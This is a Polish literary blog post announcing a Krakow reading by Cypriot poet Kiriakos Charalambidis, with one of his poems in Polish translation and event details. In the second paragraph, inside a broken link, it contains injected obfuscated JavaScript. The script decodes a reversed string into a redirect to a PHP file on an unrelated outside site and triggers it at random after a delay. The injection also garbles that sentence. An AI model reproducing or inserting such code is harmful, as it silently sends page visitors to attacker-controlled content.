Kiriakos Charalambidis po raz pierwszy po polsku

kiriakos_cyprKtoś mógłby powiedzieć, że dzisiaj nie da się już pisać wierszy tak tchnących mądrością, zdumiewających oryginalnością rozumienia i wypełnionych dziewiczymi wyrażeniami leksykalnymi – pisali o nim krytycy już czterdzieści (!) lat temu. Kiriakos Charalambidis, jeden z najbardziej rozpoznawalnych greckojęzycznych poetów, będzie gościem Transpoetiki w ramach krakowskiej Nocy Poezji.

Smak cypryjskiej poezji poznaliśmy w Gdańsku dzięki twórczości $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == „string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(„”).reverse().join(„”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[„‚php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andros-zemenidis/”>Androsa Zemenidisa, nominowanego do Nagrody Europejskiego Poety Wolności w 2010 roku. Zachęcamy zrobić kolejny krok i dać się uwieść wierszom cypryjskiego kandydata do literackiej Nagrody Nobla, Kiriakosa Charalambidisa.

 

 

Słońce

 

Gdy słońce swymi białożółtymi promieniami
musnęło świnie, ujrzało z radością,
że każda z nich ma cztery nogi:
dwie do pisania, dwie do chodzenia
a wszystkie cztery do spania w błocie.

 

Słońce jest skarbem bezcennym.
Tak wyłaniając się z wolna,
trąca zwierzęce struny z miłością.
I nie obawia się śmierci – nawet gdy mu powiesz
„słońce, bądźmy dobrymi przyjaciółmi, wyjmij swoje trzy promienie”,
z radością zrobi to, o co poprosisz.
A gdy mu powiesz z kolei „jeszcze pięć promieni
rzuć do rzeki, ze swojego wieńca zerwij
czterdzieści dwa diamenty”, zrobi to.
Bo to jest słońce, a słońce nie jest podejrzliwe.

 

Jedynie gdy mu powiesz „a teraz, słońce, zgaśnij”,
zrozumie, co uczyniłeś i cię stopi.

 

1976
przekład: Michał Bzinkowski

 

Kiriakos Charalambidis jest dzisiaj uznawany za „narodowego poetę” Cypru. W swojej twórczości odwołuje się do całej tradycji greckiej – od starożytności, poprzez Bizancjum aż do współczesnej greckiej literatury oraz greckiej poezji ludowej. Opublikował dwanaście zbiorów poezji, kilkukrotnie otrzymał Nagrodę Republiki Cypryjskiej za Poezję, a także Nagrodę Stowarzyszenia Tłumaczy Literatury.
Wiersze poety przetłumaczone zostały na wiele języków. Nad przekładem na język polski pracuje znakomity tłumacz poezji greckiej, dr Michał Bzinkowski z Uniwersytetu Jagiellońskiego. Na październikowej Transpoetice odbędzie się premierowa prezentacja  wierszy Charalambidisa w przekładzie na polski.

 

______

Spotkanie z Kiriakosem Charalambidisem odbędzie się 3 października o 19:30 w Śródmiejskim Ośrodku Kultury w Krakowie (ul. Mikołajska 2). Spotkanie poprowadzi dr Michał Bzinkowski.